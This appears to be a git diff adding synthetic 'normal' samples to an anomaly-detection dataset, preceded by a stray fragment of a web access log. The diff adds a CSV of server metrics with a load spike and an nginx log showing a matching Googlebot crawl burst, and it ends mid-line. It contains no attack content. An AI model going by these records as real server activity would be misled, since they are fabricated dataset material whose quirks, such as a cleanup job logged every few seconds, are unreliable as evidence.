10:05:59 web-app[2345]: 66.249.89.23 - - [22/Aug/2025:10:05:59 +0000] "GET /products/item/519 HTTP/1.1" 200 5879 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:06:01 web-app[2345]: 192.168.1.56 - - [22/Aug/2025:10:06:01 +0000] "GET /products/item/125 HTTP/1.1" 200 2958 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:06:04 web-app[2345]: 192.168.1.89 - - [22/Aug/2025:10:06:04 +0000] "GET /users/profile/21 HTTP/1.1" 200 4911 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:06:09 web-app[2345]: 192.168.1.54 - - [22/Aug/2025:10:06:09 +0000] "GET /products/item/999 HTTP/1.1" 200 4339 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:06:10 web-app[2345]: 192.168.1.83 - - [22/Aug/2025:10:06:10 +0000] "GET /products/item/999 HTTP/1.1" 200 1939 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:06:14 web-app[2345]: 192.168.1.89 - - [22/Aug/2025:10:06:14 +0000] "GET /products/item/999 HTTP/1.1" 301 3528 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Aug 22 10:06:19 web-app[2345]: 192.168.1.92 - - [22/Aug/2025:10:06:19 +0000] "GET /products/item/123 HTTP/1.1" 200 1940 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:06:20 web-app[2345]: 192.168.1.47 - - [22/Aug/2025:10:06:20 +0000] "GET /products/item/248 HTTP/1.1" 200 4369 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:06:24 web-app[2345]: 192.168.1.13 - - [22/Aug/2025:10:06:24 +0000] "GET /products/item/803 HTTP/1.1" 200 3826 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Aug 22 10:06:30 web-app[2345]: 192.168.1.15 - - [22/Aug/2025:10:06:30 +0000] "GET /about HTTP/1.1" 200 4362 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Aug 22 10:06:32 web-app[2345]: 192.168.1.37 - - [22/Aug/2025:10:06:32 +0000] "GET /products/item/436 HTTP/1.1" 200 3696 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:06:39 web-app[2345]: 192.168.1.94 - - [22/Aug/2025:10:06:39 +0000] "GET /products/item/804 HTTP/1.1" 404 846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:06:44 web-app[2345]: 192.168.1.82 - - [22/Aug/2025:10:06:44 +0000] "GET /users/profile/52 HTTP/1.1" 200 4586 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:06:45 web-app[2345]: 192.168.1.79 - - [22/Aug/2025:10:06:45 +0000] "GET /products/item/718 HTTP/1.1" 200 2580 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Aug 22 10:06:53 web-app[2345]: 192.168.1.35 - - [22/Aug/2025:10:06:53 +0000] "GET /users/profile/29 HTTP/1.1" 404 4862 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Aug 22 10:07:00 web-app[2345]: 192.168.1.19 - - [22/Aug/2025:10:07:00 +0000] "GET /users/profile/11 HTTP/1.1" 404 3457 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Aug 22 10:07:06 web-app[2345]: 192.168.1.38 - - [22/Aug/2025:10:07:06 +0000] "GET /users/profile/79 HTTP/1.1" 404 4116 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:07:07 web-app[2345]: 192.168.1.69 - - [22/Aug/2025:10:07:07 +0000] "GET /users/profile/69 HTTP/1.1" 200 1450 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:07:10 web-app[2345]: 192.168.1.74 - - [22/Aug/2025:10:07:10 +0000] "GET /products/item/248 HTTP/1.1" 200 1825 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:07:12 web-app[2345]: 192.168.1.49 - - [22/Aug/2025:10:07:12 +0000] "GET /contact HTTP/1.1" 200 3369 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:07:18 web-app[2345]: 192.168.1.86 - - [22/Aug/2025:10:07:18 +0000] "GET /users/profile/17 HTTP/1.1" 200 3150 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" diff --git a/norm_dataset/scenario_8/norm_8_22.csv b/norm_dataset/scenario_8/norm_8_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..e3bd2a204045487fde8076fbf121c6ec89d62859 --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_22.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22 10:00:00+00:00,15.45,41.78,20.71,1.87,1.23 +2025-08-22 10:00:05+00:00,21.78,36.62,31.88,1.23,1.38 +2025-08-22 10:00:10+00:00,18.08,41.75,32.13,0.87,1.7 +2025-08-22 10:00:15+00:00,15.41,44.43,36.54,0.7,1.74 +2025-08-22 10:00:20+00:00,11.76,42.19,34.36,0.85,1.24 +2025-08-22 10:00:25+00:00,12.29,35.9,36.7,0.82,2.5 +2025-08-22 10:00:30+00:00,12.62,44.6,24.92,1.94,1.41 +2025-08-22 10:00:35+00:00,18.82,43.53,32.23,0.69,1.89 +2025-08-22 10:00:40+00:00,20.94,39.12,32.78,1.2,1.15 +2025-08-22 10:00:45+00:00,18.47,35.47,30.97,1.87,1.59 +2025-08-22 10:00:50+00:00,12.41,35.31,24.91,0.84,2.11 +2025-08-22 10:00:55+00:00,17.83,40.91,29.29,1.39,2.45 +2025-08-22 10:01:00+00:00,13.57,38.38,23.58,1.62,1.83 +2025-08-22 10:01:05+00:00,11.48,39.98,27.85,1.16,1.57 +2025-08-22 10:01:10+00:00,13.86,40.13,33.56,1.68,1.15 +2025-08-22 10:01:15+00:00,11.39,42.78,35.24,1.53,2.39 +2025-08-22 10:01:20+00:00,23.07,38.51,34.24,1.29,2.29 +2025-08-22 10:01:25+00:00,24.2,42.95,31.99,0.86,2.05 +2025-08-22 10:01:30+00:00,10.35,41.52,23.93,1.31,2.28 +2025-08-22 10:01:35+00:00,11.11,38.56,22.54,1.67,2.03 +2025-08-22 10:01:40+00:00,16.78,40.3,30.85,1.84,1.89 +2025-08-22 10:01:45+00:00,18.12,44.19,24.8,1.93,1.99 +2025-08-22 10:01:50+00:00,13.96,42.4,21.87,1.99,1.72 +2025-08-22 10:01:55+00:00,20.3,44.26,29.44,1.43,1.9 +2025-08-22 10:02:00+00:00,16.07,39.33,31.57,0.97,1.45 +2025-08-22 10:02:05+00:00,21.51,38.93,34.88,1.3,2.1 +2025-08-22 10:02:10+00:00,13.65,38.44,28.41,1.16,1.29 +2025-08-22 10:02:15+00:00,15.32,42.21,32.57,1.4,1.09 +2025-08-22 10:02:20+00:00,19.35,37.02,20.65,1.61,1.56 +2025-08-22 10:02:25+00:00,10.31,42.36,33.97,0.51,1.64 +2025-08-22 10:02:30+00:00,92.81,41.33,149.68,8.9,12.11 +2025-08-22 10:02:35+00:00,72.13,43.3,97.23,6.95,18.78 +2025-08-22 10:02:40+00:00,83.19,39.5,102.29,7.28,18.0 +2025-08-22 10:02:45+00:00,72.49,35.12,89.88,6.19,13.2 +2025-08-22 10:02:50+00:00,85.35,43.23,143.22,9.37,17.99 +2025-08-22 10:02:55+00:00,75.49,42.84,127.82,9.21,19.77 +2025-08-22 10:03:00+00:00,93.13,43.98,82.78,8.92,16.87 +2025-08-22 10:03:05+00:00,86.86,35.39,140.63,5.82,11.76 +2025-08-22 10:03:10+00:00,94.16,35.47,88.72,8.92,17.44 +2025-08-22 10:03:15+00:00,81.89,38.38,126.82,7.76,19.51 +2025-08-22 10:03:20+00:00,91.05,42.54,135.2,6.37,12.18 +2025-08-22 10:03:25+00:00,72.22,35.36,145.66,6.59,13.49 +2025-08-22 10:03:30+00:00,89.93,43.3,94.11,9.63,12.99 +2025-08-22 10:03:35+00:00,93.76,40.81,120.99,5.36,14.12 +2025-08-22 10:03:40+00:00,82.54,43.85,131.71,9.33,16.03 +2025-08-22 10:03:45+00:00,92.53,38.86,91.4,5.18,14.48 +2025-08-22 10:03:50+00:00,74.28,42.64,124.47,6.89,16.24 +2025-08-22 10:03:55+00:00,85.73,38.02,139.9,6.09,11.38 +2025-08-22 10:04:00+00:00,72.33,43.98,132.52,7.04,19.75 +2025-08-22 10:04:05+00:00,94.37,42.1,111.3,6.13,19.08 +2025-08-22 10:04:10+00:00,84.97,39.37,112.22,6.3,13.73 +2025-08-22 10:04:15+00:00,81.84,36.15,88.59,7.54,10.15 +2025-08-22 10:04:20+00:00,78.47,41.01,138.77,6.38,12.28 +2025-08-22 10:04:25+00:00,82.92,39.45,141.39,5.56,18.16 +2025-08-22 10:04:30+00:00,94.18,43.13,98.42,8.57,19.02 +2025-08-22 10:04:35+00:00,83.22,41.26,142.04,5.83,11.4 +2025-08-22 10:04:40+00:00,86.94,40.34,127.8,7.6,18.87 +2025-08-22 10:04:45+00:00,90.52,44.89,149.27,8.83,16.59 +2025-08-22 10:04:50+00:00,82.79,35.62,90.04,6.01,15.08 +2025-08-22 10:04:55+00:00,76.47,40.21,134.09,7.08,18.85 +2025-08-22 10:05:00+00:00,18.52,41.99,22.42,1.35,1.37 +2025-08-22 10:05:05+00:00,19.06,36.0,21.82,1.04,1.19 +2025-08-22 10:05:10+00:00,10.62,40.0,33.63,1.8,2.04 +2025-08-22 10:05:15+00:00,19.19,38.78,31.18,1.65,1.18 +2025-08-22 10:05:20+00:00,24.45,36.98,20.48,1.71,1.93 +2025-08-22 10:05:25+00:00,24.73,40.83,29.48,0.56,1.47 +2025-08-22 10:05:30+00:00,15.97,44.42,38.94,1.6,2.04 +2025-08-22 10:05:35+00:00,23.4,40.44,34.32,1.93,2.42 +2025-08-22 10:05:40+00:00,17.26,44.06,33.53,0.55,1.07 +2025-08-22 10:05:45+00:00,20.73,38.35,24.61,1.51,1.5 +2025-08-22 10:05:50+00:00,23.85,38.52,29.67,1.14,1.79 +2025-08-22 10:05:55+00:00,10.15,37.13,36.33,1.39,1.38 +2025-08-22 10:06:00+00:00,11.65,39.24,21.52,1.15,2.26 +2025-08-22 10:06:05+00:00,18.12,36.11,32.31,0.65,1.07 +2025-08-22 10:06:10+00:00,20.06,42.66,32.78,1.32,1.49 +2025-08-22 10:06:15+00:00,24.52,42.19,25.57,1.59,1.09 +2025-08-22 10:06:20+00:00,23.46,35.52,35.12,1.13,1.78 +2025-08-22 10:06:25+00:00,11.63,38.5,28.14,1.3,1.33 +2025-08-22 10:06:30+00:00,14.55,36.04,37.87,1.12,1.32 +2025-08-22 10:06:35+00:00,16.27,41.44,27.26,0.61,2.3 +2025-08-22 10:06:40+00:00,19.06,38.13,30.52,1.68,1.94 +2025-08-22 10:06:45+00:00,17.61,39.15,21.32,1.85,1.17 +2025-08-22 10:06:50+00:00,17.45,37.0,28.4,0.69,1.59 +2025-08-22 10:06:55+00:00,18.93,36.04,28.3,0.83,1.63 +2025-08-22 10:07:00+00:00,24.91,35.47,26.51,1.47,1.52 +2025-08-22 10:07:05+00:00,20.6,36.46,25.53,1.97,2.12 +2025-08-22 10:07:10+00:00,22.91,43.0,30.64,0.52,2.2 +2025-08-22 10:07:15+00:00,15.91,41.89,31.29,1.22,2.3 +2025-08-22 10:07:20+00:00,16.52,42.7,29.8,1.89,1.39 +2025-08-22 10:07:25+00:00,10.37,35.19,32.74,1.51,2.3 diff --git a/norm_dataset/scenario_8/norm_8_22.log b/norm_dataset/scenario_8/norm_8_22.log new file mode 100644 index 0000000000000000000000000000000000000000..d2583bd3f1d86cc3531030426003feac61fbe4a6 --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_22.log @@ -0,0 +1,303 @@ +Aug 22 10:00:03 web-server nginx[8080]: 192.168.1.26 - - "GET /products/123 HTTP/1.1" 200 2395 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:00:05 web-server nginx[8080]: 192.168.1.96 - - "GET / HTTP/1.1" 200 3932 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:00:14 web-server nginx[8080]: 192.168.1.177 - - "GET /about-us HTTP/1.1" 200 2058 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:00:15 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:15 web-server nginx[8080]: 192.168.1.41 - - "GET /contact HTTP/1.1" 200 1414 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:00:20 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:24 web-server nginx[8080]: 192.168.1.181 - - "GET /products/123 HTTP/1.1" 200 4182 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:00:25 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:30 web-server nginx[8080]: 192.168.1.13 - - "GET /contact HTTP/1.1" 200 1457 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:00:36 web-server nginx[8080]: 192.168.1.172 - - "GET /products/123 HTTP/1.1" 200 1845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:00:43 web-server nginx[8080]: 192.168.1.199 - - "GET /blog/post-45 HTTP/1.1" 200 1024 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:00:45 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:48 web-server nginx[8080]: 192.168.1.71 - - "GET / HTTP/1.1" 200 4269 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:00:50 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:50 web-server nginx[8080]: 192.168.1.111 - - "GET /products/123 HTTP/1.1" 200 2236 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:00:59 web-server nginx[8080]: 192.168.1.56 - - "GET / HTTP/1.1" 200 2637 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:01:03 web-server nginx[8080]: 192.168.1.195 - - "GET /contact HTTP/1.1" 200 2622 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:01:08 web-server nginx[8080]: 192.168.1.10 - - "GET /about-us HTTP/1.1" 200 3881 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:01:13 web-server nginx[8080]: 192.168.1.127 - - "GET /about-us HTTP/1.1" 200 4697 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:01:15 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:18 web-server nginx[8080]: 192.168.1.29 - - "GET /blog/post-45 HTTP/1.1" 200 3709 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:01:20 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:21 web-server nginx[8080]: 192.168.1.89 - - "GET /products/123 HTTP/1.1" 200 4304 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:01:26 web-server nginx[8080]: 192.168.1.128 - - "GET / HTTP/1.1" 200 4395 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:01:31 web-server nginx[8080]: 192.168.1.158 - - "GET /contact HTTP/1.1" 200 3856 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:01:35 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:39 web-server nginx[8080]: 192.168.1.155 - - "GET /blog/post-45 HTTP/1.1" 200 3014 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:01:40 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:43 web-server nginx[8080]: 192.168.1.93 - - "GET /contact HTTP/1.1" 200 4162 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:01:45 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:50 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:52 web-server nginx[8080]: 192.168.1.39 - - "GET /about-us HTTP/1.1" 200 2496 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:02:01 web-server nginx[8080]: 192.168.1.56 - - "GET / HTTP/1.1" 200 2046 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:02:08 web-server nginx[8080]: 192.168.1.152 - - "GET /products/123 HTTP/1.1" 200 2084 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:02:10 web-server nginx[8080]: 192.168.1.126 - - "GET /about-us HTTP/1.1" 200 4901 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:02:15 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:19 web-server nginx[8080]: 192.168.1.171 - - "GET /articles/how-to-do-x HTTP/1.1" 200 1961 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:02:23 web-server nginx[8080]: 192.168.1.173 - - "GET /about-us HTTP/1.1" 200 2839 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:02:25 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:30 web-server nginx[8080]: 66.249.79.1 - - "GET /articles/how-to-do-x HTTP/1.1" 200 7331 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:30 web-server nginx[8080]: 66.249.79.1 - - "GET /articles/how-to-do-x HTTP/1.1" 200 14164 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:31 web-server nginx[8080]: 66.249.79.5 - - "GET /blog/post-45 HTTP/1.1" 200 16249 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:30 web-server nginx[8080]: 66.249.79.10 - - "GET /products/123 HTTP/1.1" 200 19723 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:32 web-server nginx[8080]: 66.249.79.8 - - "GET / HTTP/1.1" 200 13548 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:33 web-server nginx[8080]: 66.249.79.2 - - "GET /blog/post-45 HTTP/1.1" 200 7327 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:34 web-server nginx[8080]: 66.249.79.10 - - "GET / HTTP/1.1" 200 11583 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:32 web-server nginx[8080]: 66.249.79.2 - - "GET /contact HTTP/1.1" 200 18001 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:32 web-server nginx[8080]: 66.249.79.10 - - "GET /blog/post-45 HTTP/1.1" 200 21750 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:38 web-server nginx[8080]: 66.249.79.6 - - "GET /blog/post-45 HTTP/1.1" 200 14416 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:37 web-server nginx[8080]: 66.249.79.1 - - "GET /blog/post-45 HTTP/1.1" 200 17744 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:35 web-server nginx[8080]: 66.249.79.1 - - "GET /about-us HTTP/1.1" 200 5976 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:35 web-server nginx[8080]: 66.249.79.5 - - "GET /blog/post-45 HTTP/1.1" 200 7445 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:35 web-server nginx[8080]: 66.249.79.4 - - "GET /blog/post-45 HTTP/1.1" 200 12256 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:39 web-server nginx[8080]: 66.249.79.4 - - "GET /contact HTTP/1.1" 200 9095 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:35 web-server nginx[8080]: 66.249.79.2 - - "GET /blog/post-45 HTTP/1.1" 200 5788 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:44 web-server nginx[8080]: 66.249.79.6 - - "GET /about-us HTTP/1.1" 200 15455 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:42 web-server nginx[8080]: 66.249.79.8 - - "GET /contact HTTP/1.1" 200 23892 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:42 web-server nginx[8080]: 66.249.79.5 - - "GET /blog/post-45 HTTP/1.1" 200 22315 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:44 web-server nginx[8080]: 66.249.79.5 - - "GET / HTTP/1.1" 200 13509 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:41 web-server nginx[8080]: 66.249.79.9 - - "GET /articles/how-to-do-x HTTP/1.1" 200 17208 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:40 web-server nginx[8080]: 66.249.79.8 - - "GET /articles/how-to-do-x HTTP/1.1" 200 22344 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:44 web-server nginx[8080]: 66.249.79.3 - - "GET / HTTP/1.1" 200 24258 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:44 web-server nginx[8080]: 66.249.79.4 - - "GET /blog/post-45 HTTP/1.1" 200 8789 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:44 web-server nginx[8080]: 66.249.79.7 - - "GET / HTTP/1.1" 200 18874 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:45 web-server nginx[8080]: 66.249.79.1 - - "GET /contact HTTP/1.1" 200 7973 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:45 web-server nginx[8080]: 66.249.79.5 - - "GET /articles/how-to-do-x HTTP/1.1" 200 13849 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:49 web-server nginx[8080]: 66.249.79.4 - - "GET /blog/post-45 HTTP/1.1" 200 13381 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:49 web-server nginx[8080]: 66.249.79.2 - - "GET /products/123 HTTP/1.1" 200 17094 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:47 web-server nginx[8080]: 66.249.79.4 - - "GET /articles/how-to-do-x HTTP/1.1" 200 23480 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:48 web-server nginx[8080]: 66.249.79.4 - - "GET /about-us HTTP/1.1" 200 24101 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:47 web-server nginx[8080]: 66.249.79.4 - - "GET /articles/how-to-do-x HTTP/1.1" 200 22913 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:48 web-server nginx[8080]: 66.249.79.2 - - "GET / HTTP/1.1" 200 22570 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:49 web-server nginx[8080]: 66.249.79.9 - - "GET /blog/post-45 HTTP/1.1" 200 9721 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:52 web-server nginx[8080]: 66.249.79.6 - - "GET /contact HTTP/1.1" 200 16868 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:54 web-server nginx[8080]: 66.249.79.8 - - "GET /about-us HTTP/1.1" 200 21392 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:53 web-server nginx[8080]: 66.249.79.10 - - "GET / HTTP/1.1" 200 9732 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:50 web-server nginx[8080]: 66.249.79.8 - - "GET / HTTP/1.1" 200 8223 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:54 web-server nginx[8080]: 66.249.79.6 - - "GET / HTTP/1.1" 200 10309 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:53 web-server nginx[8080]: 66.249.79.3 - - "GET /contact HTTP/1.1" 200 14887 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:52 web-server nginx[8080]: 66.249.79.2 - - "GET / HTTP/1.1" 200 6632 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:50 web-server nginx[8080]: 66.249.79.1 - - "GET /about-us HTTP/1.1" 200 11273 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:56 web-server nginx[8080]: 66.249.79.2 - - "GET / HTTP/1.1" 200 18622 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:59 web-server nginx[8080]: 66.249.79.6 - - "GET / HTTP/1.1" 200 5618 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:55 web-server nginx[8080]: 66.249.79.5 - - "GET /blog/post-45 HTTP/1.1" 200 9524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:57 web-server nginx[8080]: 66.249.79.1 - 